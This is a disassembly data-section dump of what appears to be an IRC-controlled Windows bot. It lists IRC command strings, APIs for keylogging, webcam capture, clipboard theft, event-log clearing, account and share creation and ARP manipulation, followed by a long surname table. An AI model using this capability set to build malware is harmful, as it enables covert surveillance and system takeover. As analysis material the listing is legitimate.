aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 10h
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177D0+50o
		align 4
asc_42D114:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DAEo
		unicode	0, <!>,0
asc_42D118:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Do ...
		unicode	0, < >,0
asc_42D11C	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402602o
		align 10h
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A73+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B13+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B13+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B13:loc_40A77Do
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B13+C15o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B13+C08o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B13+BFBo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B13+BEEo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B13+BE1o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B13+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B13:loc_40A6DFo
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B13+B97o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B13+B8Fo
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B13:loc_40A695o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B13+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B13+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B13+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B13+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B13:loc_40A621o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B13+AD9o
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B13+AD1o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B13:loc_40A5D7o
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B13+A8Fo
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B13+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B13:loc_40A58Do
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B13+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B13+9ECo
					; sub_4185A5+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B13+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B13+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B13+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B13+9B8o
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B13+9ABo
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B13+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B13+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B13+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B13+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B13+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B13:loc_40A471o
					; sub_4185A5+58o
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B13+921o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B13+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B13+90Co
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B13:loc_40A412o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B13+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B13+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B13+853o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B13+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B13+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B13+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B13+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B13+812o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B13+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B13+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B13+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B13:loc_40A2F2o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B13+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B13+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B13+68Co
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B13+67Fo
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B13+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B13+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B13+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409B13+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409B13+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409B13+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409B13+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B13+617o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_409B13+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409B13+5FDo
		align 10h
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B13+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B13+5D6o
		align 10h
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B13+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409B13+5BCo
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B13+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B13+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409B13+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B13+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B13+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B13+56Eo
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B13+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B13+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B13+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B13+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B13+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B13+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B13+514o
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B13+4A1o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B13+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B13+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B13+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B13+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B13+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B13+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B13+446o
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B13+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B13:loc_409F40o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B13:loc_409F18o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B13+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B13+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B13+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B13+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B13+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B13+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B13+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B13:loc_409E6Ao
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B13+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B13+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B13:loc_409E25o
		align 10h
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B13+2C6o
		align 10h
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B13+2B9o
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B13+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B13+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B13+292o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B13+285o
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B13+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B13+270o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B13:loc_409D72o
		align 10h
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B13+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B13+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B13+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B13:loc_409D0Bo
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B13+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B13+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B13+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B13+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B13+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B13+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B13+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B13+14Ao
		align 10h
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B13:loc_409C48o
					; sub_424D78+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B13:loc_409C1Bo
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B13+A0o
		align 10h
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B13+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B13+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B13+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B13+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B13+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B13+52o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B13+45o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B13+38o
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B13+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B13+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B13+Ao
		align 4
unk_42DA1C	db  2Dh	; -		; DATA XREF: sub_40A7CF+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1FCo
		align 10h
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+28o
		align 4
a_:					; DATA XREF: sub_40F96B+252o
		unicode	0, <.>,0
unk_42DBAC	db  2Dh	; -		; DATA XREF: sub_40AB32:loc_40ABF1o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42DBDC	db  2Dh	; -		; DATA XREF: sub_40AB32:loc_40ABBFo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42DC0C	db  2Dh	; -		; DATA XREF: sub_40AB32:loc_40AB8Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 10h
unk_42DC30	db  2Dh	; -		; DATA XREF: sub_40AB32+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC10+46o
					; sub_40BFEC+38o
aReal		db 'real',0
		align 10h
		dd 0
dword_42DC74	dd 0			; DATA XREF: sub_40B08E+7o
off_42DC78	dd offset sub_40ACB6	; DATA XREF: sub_40B08E+49r
aConst		db 'const',0
		align 8
		dd 1, 40AD23h, 7474656Ch, 7265h, 0
		dd 2, 40AD81h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCEh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Ch, 736Fh, 2	dup(0)
		dd 5, 40AEE1h
off_42DCE0	dd offset aAbdulrazak	; DATA XREF: sub_40ACB6+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42DCEC	dd offset aAddison	; DATA XREF: sub_40B08E+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
